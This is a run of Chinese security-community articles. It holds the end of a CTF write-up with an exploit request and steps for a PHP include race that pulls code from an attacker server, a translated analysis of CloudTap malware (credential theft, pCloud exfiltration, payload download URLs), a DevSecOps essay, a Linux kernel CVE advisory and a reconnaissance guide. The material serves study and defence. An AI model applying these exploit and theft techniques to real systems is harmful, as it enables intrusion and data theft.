什么意思呢？也就是说，在极其理想的情况下，我们通过自己的服务先发送一段垃圾数据，这时候通过`stripos`的判断就是没有 PHP
代码的文件数据，接着我们利用 HTTP 长链接的形式，只要这个链接不断开，在我们绕过第一个判断之后，我们就可以发送第二段含有 PHP
代码的数据了，这样就能使`include_once`包含我们的代码了。
因为我们无法知道什么时候能绕过第一个判断，所以这里的方法只能利用竞争的形式去包含临时文件，这里是第二个我们需要竞争的点。
### Leak Dir path
最后，要做到文件包含，自然得先知道它的文件路径，而文件路径每次都是随机的，所以我们又不得不通过某些方式去获取路径。
虽然我们可以直接看到题目是直接给出了路径，但是乍一看代码我们貌似只能等到全部函数结束之后才能拿到路径，然而之前我们说到的需要保留的长链接不能让我们立即得到我们的
sandbox 路径。
所以我们需要通过传入过大的 name 参数，导致 PHP output buffer 溢出，在保持连接的情况下获取沙箱路径，参考代码：
data = '''file=compress.zlib://http://192.168.151.132:8080&name='''.strip() + 'a' * (1024 * 7 + 882)
r.send('''POST / HTTP/1.1\r
Host: localhost\r
Connection: close\r
Content-Length: {}\r
Content-Type: application/x-www-form-urlencoded\r
Cookie: PHPSESSID=asdasdasd\r
\r
{}\r
'''.format(len(data), data))
### Get Flag
所以整个流程我们可以总结为以下：
1. 利用 `compress.zlib://http://`or`compress.zlib://ftp://` 来上传任意文件，并保持 HTTP 长链接竞争保存我们的临时文件
2. 利用超长的 name 溢出 output buffer 得到 sandbox 路径
3. 利用 Nginx 配置错误，通过 `.well-known../files/sandbox/`来获取我们 tmp 文件的文件名
4. 发送另一个请求包含我们的 tmp 文件，此时并没有 PHP 代码
5. 绕过 WAF 判断后，发送 PHP 代码段，包含我们的 PHP 代码拿到 Flag
整个题目的关键点主要是以下几点(来自 @wupco)：
1. 需要利用大文件或ftp速度限制让连接保持
2. 传入name过大 overflow output buffer，在保持连接的情况下获取沙箱路径
3. tmp文件需要在两种文件直接疯狂切换，使得第一次`file_get_contents`获取的内容不带有`<?`,`include`的时候是正常php代码，需要卡时间点，所以要多跑几次才行
4. `.well-known../files/`是nginx配置漏洞，就不多说了，用来列生成的tmp文件
由于第二个极短的时间窗，我们需要比较准确地调控延迟时间，之前没调控好时间以及文件大小，挂一晚上脚本都没有 hit 中一次，第二天经过 @rebirth
的深刻指点，修改了一下延迟时间以及服务器响应的文件的大小，成功率得到了很大的提高，基本每次都可以 getflag。
脚本放在[gist-exp.py](https://gist.github.com/ZeddYu/42159da911e82dba923b375a9f64ad65)，其中
192.168.34.1 是本地题目地址，192.168.151.132 是 client 的地址。
## References
[20191228-hxp36c3ctf](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/)
<https://paste.q3k.org/paste/mp0iN5mw#xy+cOL+ON0sWRaJ7p1NZAFkcDTM1BKkYXaq9vZthxK0>
<https://ctftime.org/task/10211> | 社区文章 |
# 【技术分享】目标韩国！黑客组织利用云服务攻击
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<http://blog.fortinet.com/2017/09/20/evasive-malware-campaign-abuses-free-cloud-service-targets-korean-speakers>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
九月月初时，FortiGuard实验室研究人员发布了一篇文章，介绍了某个恶意软件组织对[
**PowerPoint漏洞**](http://blog.fortinet.com/2017/09/01/powerpoint-file-armed-with-cve-2017-0199-and-uac-bypass)
的利用过程。网络犯罪分子们在漏洞利用方面都半斤八两，因此，最近我们又发现了另一个目标明确的恶意软件组织，这个组织使用了另一个文档漏洞。在这次事件中，攻击者以
**HWP** （Hangul Word Processor）文档为载体，利用已知的 **CVE-2015-2545** EPS（Encapsulated
PostScript）漏洞发起攻击。
在韩国，特别是在韩国政府机构中，HWP非常流行，是微软Office的替代产品。因此，攻击者经常使用HWP文档作为载体来传播钓鱼文档，攻击以韩语为母语的目标人士。本文所分析的这个攻击组织使用了与韩国某些政治问题有关的文档来开展攻击。对于公共机构而言，这种恶意软件攻击手段并不罕见。
抛开这个组织的动机，最吸引我们注意的是该组织使用了pCloud这个免费云服务作为数据存储及通信平台。虽然其他恶意软件组织也用过这类技术，但目前该技术还没有被广泛使用。此外，根据我们收集到的样本，我们还发现该组织所使用的恶意软件（我们称之为CloudTap）已经活跃了一年以上。
**
**
**二、使用JPEG图像隐藏载荷**
我们收集到这个组织所使用的两份文档，这两份文档的内容都是关于韩国核电和劳工政策问题的文章摘录。
图1. 有关抗议韩国核政策的恶意文档
在文档中，攻击者嵌入了一个封装的PostScript文件，普通用户如果没有经过培训，很难发现这个细节。与HWP文档中的其他对象一样，我们需要使用zlib解压这个脚本，才能看到真正的shellcode代码，这个shellcode的作用是从“http://price365[dot]co[dot]kr/abbi/head0.jpg”地址下载可执行文件。
该文件执行后，就会下载包含JPEG图像头数据的另一个文件。
图2. 解压后的shellcode中包含URL下载地址
与我们预期的一样，这个图像中嵌入了一个可执行文件，可执行文件使用简单的单字节异或（xor）密钥进行加密。为了优化服务性能，某些反恶意软件系统会把待扫描及待沙箱运行文件限制在可执行文件范围，因此，这个攻击组织试图使用这种混淆技术来躲避这类反恶意软件系统。
图3. 图像中的可执行载荷经部分解密后的结果
根据该恶意软件使用的云服务技术，FortiGuard将其标记为CloudTap。
此外，我们还捕捉到这个恶意软件的早期样本，其中某个样本为debug版本，编译时间为2016年初，这表明恶意软件已经活跃了一年有余。
图4. 早期样本的编译时间
**
**
**三、确定攻击目标**
恶意软件操作者带有明确的攻击目标，通常会先整体调查一下系统，查找感兴趣的信息，然后再决定下一阶段的操作，比如，是进一步入侵网络还是简单识别系统中有价值的资源。在这个攻击场景中，攻击者利用载荷来搜索文档，尝试提取浏览器中存储的凭据信息。
除了对某些关键字符串进行混淆之外，攻击载荷会直达主题执行攻击动作，没有使用其他反分析技术。
**
**
**四、枚举进程及包含特定扩展名的文档**
恶意软件会枚举系统中正在运行的进程，其目的可能是检查受害者使用的某些应用程序，或者是检测系统使用哪种反病毒产品。
随后，恶意软件开始查找包含特定扩展名的文档，这些扩展名包括“.hwp”、“.doc”、“.docx”、“.pdf”、“.ppt”以及“.pptx”。恶意软件会搜索系统中除根驱动器之外的所有固定存储介质以及可移动存储介质上的所有目录。
图5. 搜索特定文档的代码片段
搜索根驱动器时，恶意软件只会搜索文件经常保存的那些目录，即：我的文档、文档、桌面、最近文档等目录。这次搜索过程不再受文件扩展名限制。
图6. 恶意软件搜索根驱动器特定目录中的所有文件
目前仅凭文档路径信息，我们很难知道恶意软件作者感兴趣的是什么信息。有可能攻击者想寻找可能包含凭据信息的文档，或者只是想利用这些文档来继续执行钓鱼攻击。
**
**
**五、使用各种方法提取凭据信息**
恶意软件使用多种技术来提取Windows以及特定浏览器中存储的凭据信息。
为了提取IE浏览器中保存的登录凭据，恶意软件使用CredEnumerateW
API来枚举凭据信息，过滤枚举结果，只关心开头为“Microsoft_WinInet_”的那些条目。然后，恶意软件使用CryptUnprotectData以及“abe2869f-9b47-4cd9-a358-c22904dba7f7”这个GUID来解密凭据信息。
恶意软件还会通过注册表来提取凭据信息，IE浏览器会使用“SoftwareMicrosoftInternet
ExplorerIntelliFormsStorage2”这个注册表项来存储自动填充的凭据。
SecurityXploded网站详细介绍了这两种技术，读者可以参考[此处链接](http://securityxploded.com/iepasswordsecrets.php)了解具体内容。
继续处理下一个浏览器之前，恶意软件会尝试从Windows Vault中提取凭据，这也是微软内置的另一个凭据存储位置。恶意软件使用Vault Client
Access库（vaultcli.dll）完成这个过程。
最后，恶意软件会提取Chrome浏览器存储的凭据，具体路径为“Users\AppdataLocalGoogleChromeUser
DataDefault”。
**
**
**六、使用免费的pCloud云服务作为C &C服务器**
前面提到过，攻击者使用了由瑞士IT企业pCloud
AG开发的pCloud云存储服务来开展攻击。pCloud自2013年起开始提供服务，使用起来非常方便，无需验证邮件地址即可注册，注册后就能享受10GB的免费存储空间。
图7. pCloud账户主界面
恶意软件获取目标数据后，会使用AES算法加密这些数据，将加密结果保存到文件中，然后使用“.dat”文件名上传到云端。此外，攻击者不仅利用云服务来存储被盗数据，也会利用云服务来引导恶意软件从某些URL地址中下载文件，后面我们会给出分析过程。
把云服务作为C&C服务器有几大优点。首先，C2服务器搭建起来更加便捷，并且互联网上有许多免费云存储服务，提供的功能足以应付这种场景。因此，攻击者不再需要设置自己的Web服务器或者攻破他人的服务器，并且云服务可以确保始终在线、始终可用。此外，这种情况下安全取证更加困难，因为只有极少数信息可用。与攻破第三方站点做对比的话，这种情况下没有真实的主机或者管理员可作为安全取证对象，因此难以跟踪恶意软件的行为轨迹。最后，这类服务所属的账户受隐私策略保护，如果我们想获取特定用户的信息就会非常困难。
这个攻击组织使用了某些邮箱地址来注册pCloud账户，某些邮箱为一次性邮箱。自首次发现以来，我们收集到如下邮箱地址，这些地址可能会随着时间增长不断修改：
[[email protected]](mailto:[email protected])
[[email protected]](mailto:[email protected])
[[email protected]](mailto:[email protected])
[[email protected]](mailto:[email protected])
[[email protected]](mailto:[email protected])
[[email protected]](mailto:[email protected])
[[email protected]](mailto:[email protected])
[[email protected]](mailto:[email protected])
[[email protected]](mailto:[email protected])
**
**
**七、数据传输及后续渗透**
攻击者可以使用pCloud API从受害主机端上传数据，也可以下载其他工具或恶意软件到已感染的系统中。
显然，为了使用与文件操作有关的API，用户首先需要登录云端，再获取会话密钥。因此，恶意软件使用了userinfo
API以及相应的邮箱及账户密码来获取会话密钥，以便调用后续API。需要注意的是，恶意软件使用HTTPS协议来发起请求，然而我们强迫恶意软件使用HTTP协议，以显示请求的具体信息，如下图所示。
图8. 恶意软件登录pCloud时的通信数据
随后，利用先前获得的会话密钥，恶意软件使用uploadfile API将带有加密数据的文件上传到云存储服务中。这些数据包含如下信息：
**MAC地址**
**正在运行的进程**
**文件列表**
**凭据信息**
上传成功后，恶意软件会从系统中删除这个文件。
图9. 恶意软件将窃取的数据加密后上传到pCloud
窃取的数据上传完毕后，恶意软件开始寻找带有.lst文件名的文件，然后再下载这个文件。撰写本文时，我们无法再次下载云端的样本文件，然而我们还是可以得出一些结论。
例如，恶意软件会根据受害主机的MAC地址来下载文件名为该MAC地址的.lst文件，这表明该MAC地址是能够下载该文件的唯一地址。因此，我们可以猜想.lst文件的内容会根据特定的受害者量身定制（下文我们可知该文件包含一些URL下载地址）。这也意味着攻击者会根据先前收集到的数据来选择具体的受害者。无论如何，即便MAC地址经过伪造，它们也可以作为标识符绑定到特定目标，以便攻击者发起第二波攻击。这也证实了前面的数据收集阶段只是攻击者的侦察阶段，是否进入下一阶段取决于受害者的具体环境。下载函数的主要功能如下所示：
图10. 下载执行函数概要
成功下载.lst文件后，恶意软件会将其从pCloud中删除，使得恶意软件分析人员及研究人员无法获取第二波攻击的具体意图。如果文件下载失败，恶意软件会继续尝试，尝试过程最多持续5个小时，如果最终尝试失败，恶意软件会执行自删除操作。目前，我们只能根据现有信息推测该组织在受害者系统中会使用哪些工具或者哪些恶意软件。
URL列表也经过AES加密，为了让恶意软件能够正确解析这个文件，该文件中的每一行对应一个URL地址。最后，恶意软件会下载列表中的每个文件并加以执行。
图11. 下载并执行列表中的每个文件
**
**
**八、解决方法**
1、安装Hancom发布的[补丁](http://www.hancom.com/board/noticeView.do?artcl_seq=6606)，补丁中修复了CVE-2015-2545漏洞。
2、FortiGuard反病毒服务可以检测这类攻击，已将恶意HWP文件标记为MSOFFICE/CVE20152545.HWP!exploit，将攻击载荷标记为W32/Cloudtap.A!tr.pws，并将恶意JPEG文件标记为DATA/CloudTap.JPG!tr.dldr。
3、FortiGuard Web过滤服务可以阻止所有C&C服务器以及相关的URL。
4、FortiSandbox已将这类HWP文件标记为高风险文件。
**
**
**九、总结**
通过本文分析，我们发现有针对性的攻击行为越来越难以检测。攻击者更加谨慎，避免留下攻击痕迹。本文探讨了免费云存储服务在攻击行动中的优点，根据这些优点，我们相信会有越来越多的恶意软件组织采用这种免费又便捷的服务。
**
**
**十、攻击特征**
**样本哈希值：**
936ff56db5512899427188afc4eabf537e715a756f772de07b79420f42531227 –
W32/Cloudtap.A!tr.pws
33ba0917bc161205d1afc8e7a6b6e29f92f08edeb385d75dcf81ececf07d3441 –
W32/Cloudtap.A!tr.pws
ab9d37e0ea007708dd685632255fbf66c240d7747ba0882ceb96cbffb047fc42 –
W32/Cloudtap.A!tr.pws
f4d38e2f43962ec50461b27a62b87fac2420d718066fbe59efb0e678ec36a70b –
W32/Cloudtap.A!tr.pws
03cb9e34996df6bb4a38ed08ed6ab77a399906ea19d5e2c969eeb762b6e050cb –
W32/Cloudtap.A!tr.pws
fb413df2516d0af9bbb4d5ae98ae6f7e0985a36013ddd3b088f3c087f48e8f2b –
W32/Cloudtap.A!tr.pws
43f23a0c6af8f891f0623353cad0e9607c967b77d3549ad19b959f78f383cde3 –
W32/Cloudtap.A!tr.pws
24f4f345b077881566bb58f54674f2e79a28937f76e9555982a9c7b6365831db –
DATA/CloudTap.JPG!tr.dldr
a0359a6054ff3b245ca661ef5c51dd605410b946e1f0eff6f6898b2368b0ef7e –
MSOFFICE/CVE20152545.HWP!exploit
7e90786ba4eef2b552c745a6b65110908a5ef5c89f68b337d66d75ace020b91b –
MSOFFICE/CVE20152545.HWP!exploit
**下载地址**
http[:]//fritsch.co.kr/bbs/head3.jpg
http[:]//price365.co.kr/abbi/head0.jpg
http[:]//price365.co.kr/abbi/tail0.jpg
http[:]//www.kohtao-idc.com/wp-includes/hashtag.jpg | 社区文章 |
# 从SDLC到DevOps下的广义应用安全管控体系
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：平安银行应用安全团队@贾凯
## 前言
17年起，我们引入建立了适合内部研发的SDLC流程，在传统的研发模式下，一个需求从意向拆分到用户故事，再到开发子任务，一次迭代大多都要经过2周以上的时间。经过重人力运营的严格SDLC活动（各业务开发条线配备一名或多名专职安全运营人力进入开发团队深度运营），完成下来基本上可以极大的降低应用安全风险。但随着这两年公司IT人力迅速扩张，以及各类业务需求的爆发增长，推动着敏捷开发的迭代周期不断缩短，倒逼研发模式向DevOps转型。这种状态下，重人力运营的SDLC逐渐成为整个开发流程中的短板，对于动辄数千个应用的组织来说，也只能挑选重要的业务系统执行SDLC，大量内网应用无人力覆盖，而且在新时期对更频繁、快捷、可靠以及智能的要求下，愈发凸显出这种模式的缺点，由此必须转变思维，建设在敏捷模式下的广义应用安全体系。
## SDLC模式
SDLC是定义在安全团队及研发团队共同配合下的安全活动，在对需求做完安全评审以后，除了最终需要安全团队执行的安全测试外其余都需要研发团队独立完成。
安全需求识别：研发团队架构师识别哪些需求是涉及到的安全。
安全设计环节：安全团队针对开发子任务给出指导性安全checklist，开发团队针对涉及到的接口做安全设计。
安全设计审查：开发团队架构师对安全设计做审查，评估安全设计无问题即可进入正常编码环节。
这几个环节下来，如果由开发完全独自执行，对于安全意识不够强的研发同事来说，安全设计的质量无法保证，这个时候基本上是安全团队在测试过程中对发现的安全漏洞进行溯源，定位安全设计及审查环节的问题，做常态化的检查。
在重要系统实践了一个时期后，绝大数研发团队的安全意识及安全编码能力得到了极大提升，遗留到测试环境下的漏洞数也大幅减少。当然，SDLC的推行需要领导的大力支持。
但在实践中也发现存在一些安全设计质量不佳的情况，仔细定位下来发现基本上是：
1、新入职的员工即使经过强制安全培训后，安全设计及安全编码依旧质量不足；
2、研发团队懈怠情况。
为此我们建设了漏洞积分，每个漏洞关闭时都必须对应到漏洞开发人员/小组/部门，积分到达一定限度后，强制进行安全考试，回炉接受再教育再次进行安全培训（类似驾照违规重新考试）。
此外依据这些数据对研发团队针对性的培训宣导，持续根据执行结果进行周期回溯检查。
## DevOps下的应用安全管控体系
在以上的模式下，互联网的业务系统经过严格的SDLC后再进行发布，安全问题得到了保障。
但随着执行经验的积累，问题也随之而来：
1、如开篇所说，在向DevOps转型的过程中，动辄每周1次或多次的发版频率下，安全人力介入作为开发流程中关键的节点显然成为了瓶颈，业务需求的快速增长给人工评审及人工安全测试带来巨大压力；
2、在人力方面，显然不可能无休止增加投入，更重要的是安全工程师水平差异导致各业务线的安全性差异，人永远无法作为一个衡量安全管控标准的尺度；
3、虽然互联网应用已用此方投入大量人力堆了下来，但面对规模更大、更复杂的内网应用怎么管？用脚想也不能生搬硬套；
4、理想状态下SDLC应该是研发团队自驱执行的，安全一直在深度介入、带领的安全开发流程，不利于研发团队安全能力的长效实质提升，可能安全工程师一松懈，安全执行标准就下降。
所以当安全把控的效率及覆盖面上有了更高要求时，要根本解决这个困境，首要的是改变环境，通过安全基建去创造优化安全开发的环境，重新设计构建适用的应用安全管控体系。
**“要求—检查—管控—防护”**
从应用的整个生命周期来说，这是应用安全管控的主干思维流程，应用的变更大部分都体现为需求，在对研发流程上各类纬度的要求都可以体现在对需求的要求提示上。
整体的建设思路可类比为现代化交通治理的逻辑，将应用的构建、测试到发布线比作一条高速公路：将安全介入执行的SDLC比作载客大巴，安全是司机；将开发团队独自执行SDLC比作自驾；应用安全的执行要求是交通法规；检查手段是高速上的各类传感器（测试器、探头等）；管控手段是上高速的收费站，也可以是驾照的扣分制度；防护手段即是高速上的应急车道…如何保证高速公路上车辆有序、高效、安全的行驶，即是我们应用安全管控体系建设运营的启发参照。这么一想，豁然开朗…
**执行要求**
执行要求中，不论是作为SDLC中接口安全设计checklist要求，或是数据共享管控要求、隐私合规要求、监测埋点需求等其他广义上的各类研发要求，这些都可以作为提示项，放入需求阶段（研发管理平台）或者接口设计阶段（接口管理系统）中的安全提示。
在内网应用需求上提供基于问答式的安全自检解决方案，后期可以做到更加具体细致，对涉及尽可能多的场景抽象出一些需求场景的评审checklist。
**编码阶段**
接口设计中，将SDLC涉及的接口安全checklist作为接口设计（新增/修改）的必要属性。
使用内部嵌入安全组件的开发框架，例如将esapi改进为适合内部框架的安全组件集成到开发框架中，供开发自行选择使用。
在编码环节，提供嵌入IDE的安全编码助手插件（开源工具二次开发改进），供开发人员自助进行代码扫描，前移代码扫描环节。
**测试阶段**
在DEV/SIT测试环节，提供浏览器插件，供开发/测试人员自助进行动态扫描，前移动态扫描环节。
**检查阶段**
检查手段是关键一环，需要做到有要求必有检出的能力。
这里需要建设一系列检查手段，包括SDLC执行规范质量检查、基于流量的DAST、基于堆栈的IAST、基于代码的SAST、基于包库的组件及依赖检查、人工安全测试的五种检查手段。
SDLC执行检查（质量、规范），通过检测的版本迭代漏洞溯源SDLC执行过程质量。
通过splunk自动化分析SDLC执行规范、制定违规通报。
DAST被动+主动式的动态扫描器（主动模式下，积累归集流量中采集到的报文，替换登录态随时执行主动全量扫描），可参看之前文章《被动式漏洞扫描平台建设之路》。
SAST嵌入到CI流水线任务下的静态扫描器，确保每次git的代码提交都经过安全检测。
【存量及增量控制】
建设另一种思路下的IAST能力，与APM监测工具合作，记录堆栈数据，离线准实时检测安全漏洞，可参看之前文章《企业快速部署IAST/RASP能力的一种新思路》。其中在被动扫描器+IAST的模式下，可以做到部分场景下越权漏洞的检测。（2次替换cookie发包，对比带入的sql语句）
建设解决增量及存量的组件安全依赖扫描能力，可参看之前文章《通用组件安全治理三步走实践》。
在人工测试环节，对于重要应用的重要需求流转到人工测试环节，执行安全测试任务。
还需要做到的是，在自动化检查工具中增加实时提醒的功能，通过跟接口平台联动，将检查内容与要求挂钩，将安全整改工作尽量左移，一旦检查出不符合要求的点，可以立即通知到相关责任人进行整改，在卡版前给出研发整改时间。
**管控阶段**
通过检查过程中发现的问题，将检查结果数据跟各纬度的SR/SST/版本对应起来，存入安全运营平台中，这样就形成了版本—风险值的维度，初期我们定义一些简单的卡版规则，对不符合要求的版本卡发布，例如中高危漏洞不可发版，没有接入SSO不允许发版等。在持续建设后期可以根据各类安全规则给出版本的安全评分及安全检查报告，执行更精细的版本安全管控。
此外我们还需要一个基础应用安全元数据系统（通过同步运维、架构的全部应用基础数据），可以将检查结果对应用打上各类安全标识，为长期的应用安全治理工作打好基础；结合安全运营平台，更便捷地对各类安全漏洞、安全整改项做闭环跟进处置。（这里要感谢运维及架构兄弟们的支持，企业安全的建设水平非常依赖于组织内部运维及架构上的建设水准，这就类似高速公路上跑的各类汽车，运维架构标准化覆盖率上去后安全的建设水到渠成。）
**防护阶段**
应用发布后，研发流程的工作就告一段落，我们就需要对线上潜在的攻击行为做预警响应处置。
建设基于流量的入侵检测能力，流量安全分析，我们熟知的XX眼、各类WAF的日常运营。
建设传统的HIDS，我们熟知的XX云等日常的安全运营。
建设基于堆栈的攻击告警（RASP），这里因为我们的实践思路是通过采集应用堆栈日志离线分析，所以只是做攻击行为告警，之后再进行人工处置（跟正统的RASP思维来说差距就是实时阻断的能力，对传统金融行业的业务系统来说，实时阻断还是有些压力的，我们的方案只做堆栈埋点，在日志消费速率足够的情况下，做到实时攻击行为告警，之后人工处置。对这部分如感兴趣，可参看之前文章《企业快速部署IAST/RASP能力的一种新思路》。）
建设新增资产监控及常态安全巡检，掌控全部的应用资产，确保不会遗漏安全死角，新增应用及映射定时通知安全运营人员，确保得到把控。
建设最新的通用型安全漏洞预警，面对新出的安全漏洞时及时的分析对公司资产的影响程度。
## 总结
到此为止，我们从SDLC的思维模式逐步转变为全生命周期的广义应用安全管控体系。
建设这个体系后，带给我们几个提升：
1、 提升了安全工作的覆盖面及安全运营效率，从针对重要应用的安全运营工作转变为对全部应用的体系化安全管控，无论是外部还是内部应用皆在安全运营范围内。
2、 安全管控线上化标准化，在与测试及发布工具联动后，从依赖“人工版本把控”转变为依靠“系统判断”进行版本安全的管控。
3、
从传统应用安全管控的角度转变为广义安全管控的角度，只要涉及研发流程，皆可通过这个模式来实现“要求—检查—管控”的整改落地（也可解决安全以外的研发整改问题），各类研发的整改皆可通过各类检查
+ 跟进闭环 + 版本管控 来实现“消化存量、管控增量”的目的，这个是非常重要的。
4、 体系化提升，通过检查阶段的结果，反溯研发过程，给出各部门排名，从管理手段上提升研发同事的安全能力，安全更加可控。
5、 不再仅限于发布前的应用安全管控，而是贯穿了应用全生命周期的安全管控体系。
等等，很香。
对一个大型的IT组织来说，在后续的运营过程中，我们还需要不断拓展我们的覆盖面，以及不断优化我们的检测深度，还有很多的路要走。 | 社区文章 |
# 【漏洞预警】CVE-2017-2636：linux 内核n_hdlc驱动模块 本地提权漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**漏洞描述：**
漏洞编号：CVE-2017-2636
漏洞发现者：Alexander Popov
漏洞危害：高危，低权限用户利用该漏洞可以在Linux系统上实现本地提权。
影响范围：这个bug最早引入在2009年6月22号。在该日期发布后的内核版本均可能受该漏洞影响。详情请参看
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=be10eb7589337e5defbe214dae038a53dd21add8
漏洞简述：该漏洞是Linux内核驱动 n_hdlc
模块(drivers/tty/n_hdlc.c)发生条件竞争导致的，利用该漏洞可以进行权限提升。该驱动模块提供HDLC串行线路规则，在大多Linux发行版的内核配置为CONFIG_N_HDLC
= m，n_hdlc被编译成模块并启用。
**漏洞细节：**
N_HDLC线路规则使用自制的单链表来获取缓冲区数据，当发生错误的时，n_hdlc.tbuf
指针用于重新传输缓冲区数据。如果发送缓冲区数据不成功，它的地址就被保存在 n_hdlc.tbuf
指针中，下次函数n_hdlc_send_frames（）将尝试首先重新发送它。
在 commit be10eb7589337e5defbe214dae038a53dd21add8（“tty：n_hdlc 增加了 buffer
flushing“）引入了对n_hdlc.tbuf 的竞争访问。
在传输错误后并发执行flush_tx_queue（）和n_hdlc_send_frames（）函数将由n_hdlc.tbuf指向的缓冲区放入tx_free_buf_list两次。因此在n_hdlc_release（）中造成可利用的double
free 漏洞。
详细相关代码请参看：
[https://git.kernel.org/cgit/linux/kernel/git/gregkh/tty.git/commit/?h=tty-linus&id=82f2341c94d270421f383641b7cd670e474db56b](https://git.kernel.org/cgit/linux/kernel/git/gregkh/tty.git/commit/?h=tty-linus&id=82f2341c94d270421f383641b7cd670e474db56b)
**PoC：**
稍后更新
**Linux各发行版本对于该漏洞相关信息：**
Red Hat Enterprise Linux/CentOS
<https://access.redhat.com/security/cve/CVE-2017-2636>
Debian
<https://security-tracker.debian.org/tracker/CVE-2017-2636>
ubuntu
<https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-2636.html>
SUSE/openSUSE
<https://www.suse.com/security/cve/CVE-2017-2636.html>
**修复建议：**
建议用户通过系统更新到最新发行版修复此漏洞
**参考：**
<http://www.openwall.com/lists/oss-security/2017/03/07/6>
[https://git.kernel.org/cgit/linux/kernel/git/gregkh/tty.git/commit/?h=tty-linus&id=82f2341c94d270421f383641b7cd670e474db56b](https://git.kernel.org/cgit/linux/kernel/git/gregkh/tty.git/commit/?h=tty-linus&id=82f2341c94d270421f383641b7cd670e474db56b) | 社区文章 |
# 【技术分享】黑盒渗透测试的一些姿势和个人总结
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[FoxRoot](http://bobao.360.cn/member/contribute?uid=2785699456)
预估稿费：350RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前记**
对于“渗透测试”这个事，我也时常纠结，尤其在“度”的方面上，毕竟自己还很年轻。个人感觉，渗透是在不影响单位正常运营的前提下的一场完整攻击，目标是一个面不是一个点。但是，大家都懂得2333。
入坑以来，跟着网上师傅们分享的各种好文章划来划去，终于肚子里有点墨水挤出来了，水了一篇基于隐秘测试的黑盒渗透测试的小文分享一下。本文主要分享下一些姿势和个人总结，文章涉及的工具可能比较多，就不一一举例用法了，毕竟不想搞成一个工具使用说明文*（相关工具用法搜索一下就有了）*，也不提供下载链接了，毕竟我是好公民。
LOVE 互联网的分享精神，LOVE 师傅们的好文章。—— FoxRoot
**个人准备**
搜集整理一套可靠的VPN或国外代理池或Tor或肉鸡或……
准备一套新win+lin虚拟机并安装常用工具，不要使用实体机。
白天好好睡觉，晚上干活，万一对服务造成伤害还可以降低影响。
**信息搜集**
**主动/被动搜集**
信息搜集分为主动信息搜集和被动信息搜集。
主动信息搜集就是通过直接访问和扫描信息的方式进行收集信息，缺点是会记录自己的操作信息；被动信息搜集就是通过第三方服务进行信息搜集，缺点是收集信息有限。信息搜集是很重要的一部分，信息越全面对后面的攻击越有帮助，可以先尽最大努力的使用被动信息搜集方式最大效果的搜集信息，再使用主动信息搜集的方式搜集非被动搜集不到的信息。
**常用套路**
**1\. 搜集网站单位信息。**
这项可以通过一些在线网站来查询，可以由此得到单位的基本信息。分享几个单位信息查询站点：[天眼查](https://www.tianyancha.com/)、[启信宝](http://www.qixin.com/)、[企业信用信息公示系统](http://www.gsxt.gov.cn/index.html)、[事业单位在线](http://www.gjsy.gov.cn/cxzl/)、
**2\. 搜集whois信息**
。一个网站的切入点，可以由此得到域名相关信息。列举几个whois查询站点：[Chinaz](http://whois.chinaz.com/)、[Aliyun](https://whois.aliyun.com/)、[Whois365](https://www.whois365.com/cn/)
**3\. 搜集网站备案信息** ：[ICP备案查询网](http://www.beianbeian.com/)
、[ICP/IP地址/域名信息备案管理系统](http://www.miitbeian.gov.cn/publish/query/indexFirst.action)
**4\. 搜集子域名信息**
。子域名往往是渗透过程中重点关注的对象，主站行不通的情况下往往首先想到子站入手。分享几个子域名搜集方法和工具：搜索引擎查询（Baidu、So、Bing、Google等）、[DNS域传送漏洞](http://drops.xmd5.com/static/drops/tips-2014.html)、父站点爬取、[IP反查](http://www.cnblogs.com/dongchi/p/4155368.html)、[Forward-DNS](https://github.com/rapid7/sonar/wiki/Forward-DNS)
、子域名挖掘机、Host、Dig、[Dnsenum](https://tools.kali.org/information-gathering/dnsenum)、[Dnsmap](https://tools.kali.org/information-gathering/dnsmap)、[Fierce](https://tools.kali.org/information-gathering/fierce)
**5\. 搜集邮件系统信息**
。邮件系统也是需要重点关注的地方，在自建邮件服务情况下很好的利用邮件服务可以达到意想不到效果，并且在GET到某些邮件地址情况下进行钓鱼也不错的选择。可以先通过域名MX记录查看是否为自建邮件服务器，自建的情况下可以后续测试漏洞，通过[TheHarvester](https://tools.kali.org/information-gathering/theharvester)可以进行邮箱挖掘，后续再爆破一波就美滋滋了。
**6\. 搜集真实IP地址。**
弄到藏在CDN后的真实IP的确是个头大的事情，师傅们分享的大多是通过多地ping的方式确定是否有CDN，再通过子站IP尝试和国外访问尝试的方式看看是否可获得IP，或通过[历史域名解析](http://toolbar.netcraft.com/site_report?url=)记录寻找IP，或利用DNS社工库查询IP、或利用邮件验证码之类功能获取邮件发送地址，或利用DDOS消耗CND进行IP泄漏。
**7\. 搜集旁站信息。**
主站搞不定的情况下搞下旁站也是一条路，毕竟目的是一个突破点。感谢师傅分享的[旁站查询接口](http://www.cnblogs.com/dongchi/p/4155368.html)。
**8\. 搜集C段信息。**
一个单位不可能只买一个IP，很多都是大小段的买，所以从C段也能突破进单位，举例几个的查C段工具：Nmap、Zmap、[Webscan](http://www.webscan.cc/)、[Hackmall](http://www.hackmall.cn/index.php)
**9\. 搜集Web敏感文件。**
Web敏感文件比较多，日常留意多搜集。举几个例子：robots.txt、crossdomin.xml、sitemap.xml、[源码泄漏文件](https://www.secpulse.com/archives/55286.html)
**10\. 搜集服务器和中间件信息。**
这一项也有多种方式，可以通过[Zoomeye](https://www.zoomeye.org/)、[Shodan](https://www.shodan.io/)等优秀的在线系统搜集，也可以利用Nmap、MSF、Zmap等端口和指纹识别功能搜集，也可以用NC和Telnet获取Banner信息进行识别，Web方面可以用Whatweb工具或者通过Headers信息。
**11\. 搜集WAF信息：**
